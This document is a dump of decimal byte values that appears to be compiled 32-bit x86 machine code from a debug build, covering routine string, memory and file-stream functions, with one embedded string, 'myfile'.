204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,168,184,1,16,100,161,0,0,0,0,80,129,236,204,0,0,0,83,86,87,81,141,189,40,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,199,69,252,0,0,0,0,139,244,255,21,116,52,2,16,59,244,232,242,175,255,255,15,182,192,133,192,117,20,139,244,139,69,236,139,8,255,21,112,52,2,16,59,244,232,215,175,255,255,199,69,252,255,255,255,255,139,77,236,232,40,175,255,255,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,216,0,0,0,59,236,232,173,175,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,15,182,64,4,247,216,27,192,247,216,131,232,1,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,216,0,0,0,83,86,87,81,141,189,40,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,13,224,250,1,16,43,72,20,59,77,8,119,8,139,77,248,232,20,172,255,255,131,125,8,0,118,69,139,69,248,139,72,20,3,77,8,137,77,236,106,0,139,85,236,82,139,77,248,232,122,173,255,255,15,182,192,133,192,116,36,15,182,69,12,80,139,77,8,81,139,85,248,139,66,20,80,139,77,248,232,154,170,255,255,139,69,236,80,139,77,248,232,8,174,255,255,139,69,248,95,94,91,129,196,216,0,0,0,59,236,232,144,174,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,8,59,5,224,250,1,16,117,8,139,77,248,232,74,171,255,255,106,0,139,69,8,80,139,77,248,232,194,172,255,255,15,182,200,133,201,116,31,15,182,69,12,80,139,77,8,81,106,0,139,77,248,232,231,169,255,255,139,69,8,80,139,77,248,232,85,173,255,255,139,69,248,95,94,91,129,196,204,0,0,0,59,236,232,221,173,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,216,0,0,0,83,86,87,81,141,189,40,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,137,77,248,198,133,47,255,255,255,0,139,69,248,139,77,8,137,72,20,141,149,47,255,255,255,82,139,77,248,232,101,171,255,255,3,69,8,80,232,208,170,255,255,131,196,8,95,94,91,129,196,216,0,0,0,59,236,232,76,173,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,8,139,77,12,138,17,136,16,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,95,94,91,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,8,80,232,254,169,255,255,131,196,4,95,94,91,129,196,204,0,0,0,59,236,232,107,172,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,208,0,0,0,83,86,87,81,141,189,48,255,255,255,185,52,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,77,8,137,8,139,69,248,139,8,139,17,139,69,248,139,8,3,74,4,139,244,255,21,40,52,2,16,59,244,232,1,172,255,255,133,192,116,64,139,69,248,139,8,139,17,139,69,248,139,8,3,74,4,139,244,255,21,40,52,2,16,59,244,232,223,171,255,255,137,133,48,255,255,255,139,141,48,255,255,255,139,17,139,244,139,141,48,255,255,255,139,66,4,255,208,59,244,232,189,171,255,255,139,69,248,95,94,91,129,196,208,0,0,0,59,236,232,170,171,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,208,0,0,0,83,86,87,81,141,189,48,255,255,255,185,52,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,8,139,17,139,69,248,139,8,3,74,4,139,244,255,21,40,52,2,16,59,244,232,57,171,255,255,133,192,116,64,139,69,248,139,8,139,17,139,69,248,139,8,3,74,4,139,244,255,21,40,52,2,16,59,244,232,23,171,255,255,137,133,48,255,255,255,139,141,48,255,255,255,139,17,139,244,139,141,48,255,255,255,139,66,8,255,208,59,244,232,245,170,255,255,95,94,91,129,196,208,0,0,0,59,236,232,229,170,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,8,80,232,14,168,255,255,131,196,4,95,94,91,129,196,204,0,0,0,59,236,232,123,170,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,106,0,139,69,8,80,232,75,169,255,255,131,196,8,95,94,91,129,196,204,0,0,0,59,236,232,25,170,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,131,125,12,1,117,26,141,69,16,80,139,77,248,232,194,167,255,255,3,69,8,80,232,45,167,255,255,131,196,8,235,29,15,182,69,16,80,139,77,12,81,139,77,248,232,163,167,255,255,3,69,8,80,232,30,166,255,255,131,196,12,95,94,91,129,196,204,0,0,0,59,236,232,138,169,255,255,139,229,93,194,12,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,12,80,15,190,77,16,81,139,85,8,82,232,125,166,255,255,131,196,12,95,94,91,129,196,192,0,0,0,59,236,232,23,169,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,208,0,0,0,83,86,87,81,141,189,48,255,255,255,185,52,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,21,169,255,255,59,69,8,115,8,139,77,248,232,232,165,255,255,139,69,248,139,72,24,59,77,8,115,21,139,69,248,139,72,20,81,139,85,8,82,139,77,248,232,57,165,255,255,235,83,15,182,69,12,133,192,116,59,131,125,8,16,115,53,139,69,248,139,77,8,59,72,20,115,11,139,85,8,137,149,48,255,255,255,235,12,139,69,248,139,72,20,137,141,48,255,255,255,139,149,48,255,255,255,82,106,1,139,77,248,232,122,168,255,255,235,16,131,125,8,0,117,10,106,0,139,77,248,232,180,167,255,255,51,192,59,69,8,27,192,247,216,95,94,91,129,196,208,0,0,0,59,236,232,54,168,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,208,0,0,0,83,86,87,81,141,189,48,255,255,255,185,52,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,120,24,16,114,14,139,77,248,139,81,4,137,149,48,255,255,255,235,12,139,69,248,131,192,4,137,133,48,255,255,255,139,133,48,255,255,255,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,104,228,250,1,16,255,21,120,52,2,16,59,244,232,83,167,255,255,95,94,91,129,196,204,0,0,0,59,236,232,67,167,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,216,0,0,0,83,86,87,81,141,189,40,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,72,20,59,77,8,115,8,139,77,248,232,165,165,255,255,139,69,248,139,72,20,43,77,8,59,77,12,115,12,139,69,248,139,72,20,43,77,8,137,77,12,131,125,12,0,118,72,139,69,248,139,72,20,43,77,8,43,77,12,81,139,77,248,232,188,164,255,255,3,69,8,3,69,12,80,139,77,248,232,173,164,255,255,3,69,8,80,232,223,165,255,255,131,196,12,139,69,248,139,72,20,43,77,12,137,77,236,139,69,236,80,139,77,248,232,241,165,255,255,139,69,248,95,94,91,129,196,216,0,0,0,59,236,232,121,166,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,244,139,69,16,80,139,77,12,81,139,85,8,82,255,21,192,53,2,16,131,196,12,59,244,232,254,165,255,255,95,94,91,129,196,192,0,0,0,59,236,232,238,165,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,104,248,250,1,16,255,21,124,52,2,16,59,244,232,147,165,255,255,95,94,91,129,196,204,0,0,0,59,236,232,131,165,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,220,0,0,0,83,86,87,81,141,189,36,255,255,255,185,55,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,131,193,28,232,240,165,255,255,137,69,236,131,125,236,1,119,12,199,133,36,255,255,255,1,0,0,0,235,12,139,69,236,131,232,1,137,133,36,255,255,255,139,133,36,255,255,255,95,94,91,129,196,220,0,0,0,59,236,232,5,165,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,208,184,1,16,100,161,0,0,0,0,80,81,129,236,232,0,0,0,83,86,87,81,141,189,8,255,255,255,185,58,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,101,240,137,77,232,139,69,8,131,200,15,137,69,220,139,77,232,232,201,164,255,255,59,69,220,115,8,139,69,8,137,69,220,235,82,139,69,220,51,210,185,3,0,0,0,247,241,139,85,232,139,74,24,209,233,59,200,119,2,235,56,139,69,232,139,112,24,209,238,139,77,232,232,146,164,255,255,43,198,139,77,232,57,65,24,119,19,139,69,232,139,72,24,209,233,139,85,232,3,74,24,137,77,220,235,11,139,77,232,232,109,164,255,255,137,69,220,199,69,252,0,0,0,0,139,69,220,131,192,1,80,139,77,232,131,193,28,232,230,160,255,255,137,133,8,255,255,255,139,141,8,255,255,255,137,77,208,235,102,137,101,240,139,69,8,137,69,220,198,69,252,2,139,69,220,131,192,1,80,139,77,232,131,193,28,232,182,160,255,255,137,133,8,255,255,255,139,141,8,255,255,255,137,77,208,235,34,106,0,106,1,139,77,232,232,215,163,255,255,106,0,106,0,232,137,162,255,255,199,69,252,1,0,0,0,184,121,112,1,16,195,199,69,252,1,0,0,0,199,69,252,1,0,0,0,184,141,112,1,16,195,199,69,252,255,255,255,255,131,125,12,0,118,25,139,69,12,80,139,77,232,232,120,161,255,255,80,139,77,208,81,232,9,162,255,255,131,196,12,106,0,106,1,139,77,232,232,123,163,255,255,139,69,232,139,77,208,137,72,4,139,69,232,139,77,220,137,72,24,139,69,12,80,139,77,232,232,169,162,255,255,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,248,0,0,0,59,236,232,41,163,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,106,0,139,69,8,80,232,69,162,255,255,131,196,8,95,94,91,129,196,204,0,0,0,59,236,232,105,162,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,220,0,0,0,83,86,87,81,141,189,36,255,255,255,185,55,0,0,0,184,204,204,204,204,243,171,89,137,77,248,199,69,236,255,255,255,255,131,125,236,0,118,11,139,69,236,137,133,36,255,255,255,235,10,199,133,36,255,255,255,1,0,0,0,139,133,36,255,255,255,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,131,125,8,0,116,45,139,244,106,0,139,69,8,139,16,139,77,8,139,2,255,208,59,244,232,159,161,255,255,139,244,139,69,8,80,255,21,188,53,2,16,131,196,4,59,244,232,137,161,255,255,95,94,91,129,196,192,0,0,0,59,236,232,121,161,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,95,94,91,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,16,80,232,74,159,255,255,131,196,4,80,139,77,12,81,139,77,8,232,127,160,255,255,95,94,91,129,196,192,0,0,0,59,236,232,211,160,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,12,80,139,77,8,232,25,159,255,255,95,94,91,129,196,192,0,0,0,59,236,232,128,160,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,224,0,0,0,83,86,87,141,189,32,255,255,255,185,56,0,0,0,184,204,204,204,204,243,171,199,69,248,0,0,0,0,131,125,8,0,119,9,199,69,8,0,0,0,0,235,63,129,125,8,255,255,255,31,119,24,139,69,8,193,224,3,80,232,238,160,255,255,131,196,4,137,69,248,131,125,248,0,117,30,106,0,141,141,36,255,255,255,232,122,156,255,255,104,196,25,2,16,141,133,36,255,255,255,80,232,203,158,255,255,139,69,248,95,94,91,129,196,224,0,0,0,59,236,232,228,159,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,141,69,8,80,139,77,248,255,21,88,53,2,16,59,244,232,129,159,255,255,139,69,248,199,0,24,251,1,16,139,69,248,95,94,91,129,196,204,0,0,0,59,236,232,101,159,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,199,0,24,251,1,16,139,244,139,77,248,255,21,96,53,2,16,59,244,232,252,158,255,255,95,94,91,129,196,204,0,0,0,59,236,232,236,158,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,127,155,255,255,139,69,8,131,224,1,116,12,139,69,248,80,232,14,156,255,255,131,196,4,139,69,248,95,94,91,129,196,204,0,0,0,59,236,232,120,158,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,224,0,0,0,83,86,87,141,189,32,255,255,255,185,56,0,0,0,184,204,204,204,204,243,171,199,69,248,0,0,0,0,131,125,8,0,119,9,199,69,8,0,0,0,0,235,57,131,125,8,255,119,21,139,69,8,80,232,228,158,255,255,131,196,4,137,69,248,131,125,248,0,117,30,106,0,141,141,36,255,255,255,232,112,154,255,255,104,196,25,2,16,141,133,36,255,255,255,80,232,193,156,255,255,139,69,248,95,94,91,129,196,224,0,0,0,59,236,232,218,157,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,139,69,8,80,139,77,248,255,21,212,53,2,16,59,244,232,113,157,255,255,139,69,248,199,0,24,251,1,16,139,69,248,95,94,91,129,196,204,0,0,0,59,236,232,85,157,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,20,185,1,16,100,161,0,0,0,0,80,129,236,232,0,0,0,83,86,87,81,141,189,12,255,255,255,185,58,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,69,8,80,106,8,232,64,153,255,255,131,196,8,137,133,32,255,255,255,199,69,252,0,0,0,0,131,189,32,255,255,255,0,116,42,139,77,12,81,232,18,155,255,255,131,196,4,139,16,139,64,4,139,141,32,255,255,255,137,17,137,65,4,139,149,32,255,255,255,137,149,12,255,255,255,235,10,199,133,12,255,255,255,0,0,0,0,139,133,12,255,255,255,137,133,20,255,255,255,199,69,252,255,255,255,255,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,244,0,0,0,59,236,232,98,156,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,12,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,8,80,232,98,153,255,255,131,196,4,95,94,91,129,196,204,0,0,0,59,236,232,107,155,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,8,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,75,185,1,16,100,161,0,0,0,0,80,129,236,128,1,0,0,83,86,87,141,189,116,254,255,255,185,96,0,0,0,184,204,204,204,204,243,171,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,106,1,141,141,72,255,255,255,232,244,154,255,255,199,69,252,0,0,0,0,139,69,12,137,133,116,254,255,255,131,189,116,254,255,255,1,116,2,235,74,139,244,104,160,246,1,16,255,21,36,54,2,16,131,196,4,59,244,232,94,154,255,255,106,64,106,2,104,56,252,1,16,141,141,72,255,255,255,232,150,153,255,255,104,20,252,1,16,141,133,72,255,255,255,80,232,138,153,255,255,131,196,8,141,141,72,255,255,255,232,243,154,255,255,199,133,124,254,255,255,1,0,0,0,199,69,252,255,255,255,255,141,141,72,255,255,255,232,58,151,255,255,139,133,124,254,255,255,82,139,205,80,141,21,68,122,1,16,232,112,151,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,140,1,0,0,59,236,232,221,153,255,255,139,229,93,194,12,0,144,1,0,0,0,76,122,1,16,72,255,255,255,168,0,0,0,88,122,1,16,109,121,102,105,108,101,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,255,37,188,52,2,16,255,37,248,52,2,16,255,37,244,52,2,16,255,37,240,52,2,16,255,37,236,52,2,16,255,37,232,52,2,16,255,37,228,52,2,16,255,37,224,52,2,16,255,37,220,52,2,16,255,37,216,52,2,16,255,37,212,52,2,16,255,37,208,52,2,16,255,37,204,52,2,16,255,37,200,52,2,16,255,37,196,52,2,16,255,37,192,52,2,16,255,37,184,52,2,16,255,37,180,52,2,16,255,37,176,52,2,16,255,37,172,52,2,16,255,37,164,52,2,16,255,37,160,52,2,16,255,37,156,52,2,16,255,37,152,52,2,16,255,37,148,52,2,16,255,37,144,52,2,16,255,37,140,52,2,16,255,37,84,52,2,16,255,37,24,52,2,16,255,37,28,52,2,16,255,37,32,52,2,16,255,37,36,52,2,16,255,37,40,52,2,16,255,37,44,52,2,16,255,37,48,52,2,16,255,37,52,52,2,16,255,37,56,52,2,16,255,37,60,52,2,16,255,37,64,52,2,16,255,37,68,52,2,16,255,37,76,52,2,16,204,204,204,204,139,255,85,139,236,106,255,104,153,185,1,16,100,161,0,0,0,0,80,131,236,16,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,255,21,136,52,2,16,137,69,232,106,57,104,100,252,1,16,139,69,232,80,106,8,255,21,132,52,2,16,131,196,16,137,69,236,199,69,252,0,0,0,0,131,125,236,0,116,24,139,77,8,81,139,21,104,35,2,16,82,139,77,236,232,141,148,255,255,137,69,228,235,7,199,69,228,0,0,0,0,139,69,228,137,69,240,199,69,252,255,255,255,255,139,77,240,137,13,104,35,2,16,139,77,244,100,137,13,0,0,0,0,89,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,137,77,252,139,69,252,139,77,8,137,8,139,85,252,139,69,12,137,66,4,139,69,252,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,137,77,252,232,18,0,0,0,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,255,104,217,185,1,16,100,161,0,0,0,0,80,131,236,8,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,106,0,141,77,240,255,21,76,52,2,16,199,69,252,0,0,0,0,131,61,104,35,2,16,0,116,33,161,104,35,2,16,137,69,236,139,77,236,139,17,137,21,104,35,2,16,139,69,236,80,232,172,151,255,255,131,196,4,235,214,199,69,252,255,255,255,255,141,77,240,255,21,56,52,2,16,139,77,244,100,137,13,0,0,0,0,89,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,131,125,8,0,116,23,106,0,139,77,8,232,98,147,255,255,139,69,8,80,255,21,188,53,2,16,131,196,4,93,195,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,137,77,252,139,77,252,232,43,148,255,255,139,69,8,131,224,1,116,12,139,77,252,81,232,232,147,255,255,131,196,4,139,69,252,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,137,77,252,139,69,252,139,72,4,255,21,80,52,2,16,80,232,193,149,255,255,131,196,4,139,229,93,195,204,204,204,204,204,204,204,204,255,37,80,52,2,16,255,37,252,52,2,16,255,37,88,52,2,16,255,37,92,52,2,16,255,37,96,52,2,16,255,37,100,52,2,16,255,37,104,52,2,16,255,37,108,52,2,16,255,37,112,52,2,16,255,37,116,52,2,16,255,37,120,52,2,16,255,37,124,52,2,16,255,37,128,52,2,16,255,37,132,52,2,16,255,37,136,52,2,16,255,37,36,54,2,16,204,204,204,204,204,204,117,1,195,85,139,236,131,236,0,80,82,83,86,87,139,69,4,106,0,80,232,215,150,255,255,131,196,8,95,94,91,90,88,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,83,86,87,51,255,139,242,139,217,137,125,252,57,62,126,72,235,8,141,164,36,0,0,0,0,144,139,70,4,139,12,56,129,124,25,252,204,204,204,204,117,15,139,84,56,4,3,209,129,60,26,204,204,204,204,116,17,139,76,56,8,139,85,4,81,82,232,138,147,255,255,131,196,8,139,69,252,64,131,199,12,137,69,252,59,6,124,194,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,86,139,241,133,246,116,33,133,210,116,29,83,139,93,8,133,219,116,20,87,176,204,139,254,139,202,243,170,139,3,137,70,4,137,86,12,137,51,95,91,94,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,83,86,87,139,242,51,255,139,217,59,247,116,82,137,125,252,57,62,126,75,141,155,0,0,0,0,139,70,4,139,12,56,186,204,204,204,204,57,84,25,252,117,11,139,68,56,4,3,193,57,20,24,116,25,139,78,4,139,84,15,8,139,69,4,82,80,232,202,146,255,255,131,196,8,186,204,204,204,204,139,69,252,64,131,199,12,137,69,252,59,6,124,189,235,5,186,204,204,204,204,139,117,8,51,255,139,198,133,246,116,86,139,64,4,71,133,192,117,248,133,246,116,74,57,22,117,15,57,86,20,117,10,57,86,24,117,5,57,86,28,116,19,139,77,4,87,86,81,232,117,149,255,255,131,196,12,186,204,204,204,204,139,70,12,57,84,48,252,116,19,139,77,4,87,86,81,232,89,149,255,255,131,196,12,186,204,204,204,204,139,118,4,79,133,246,117,182,95,94,91,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,128,61,110,35,2,16,0,117,31,106,0,106,1,106,0,106,0,106,0,198,5,110,35,2,16,1,232,44,148,255,255,80,232,140,146,255,255,131,196,24,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,106,1,106,1,106,0,106,0,106,0,232,252,147,255,255,131,196,20,195,204,204,204,204,204,255,37,32,54,2,16,204,204,59,13,12,34,2,16,117,2,243,195,233,233,144,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,137,77,252,139,69,252,199,0,168,252,1,16,139,69,252,139,229,93,194,4,0,204,204,204,204,204,204,204,204,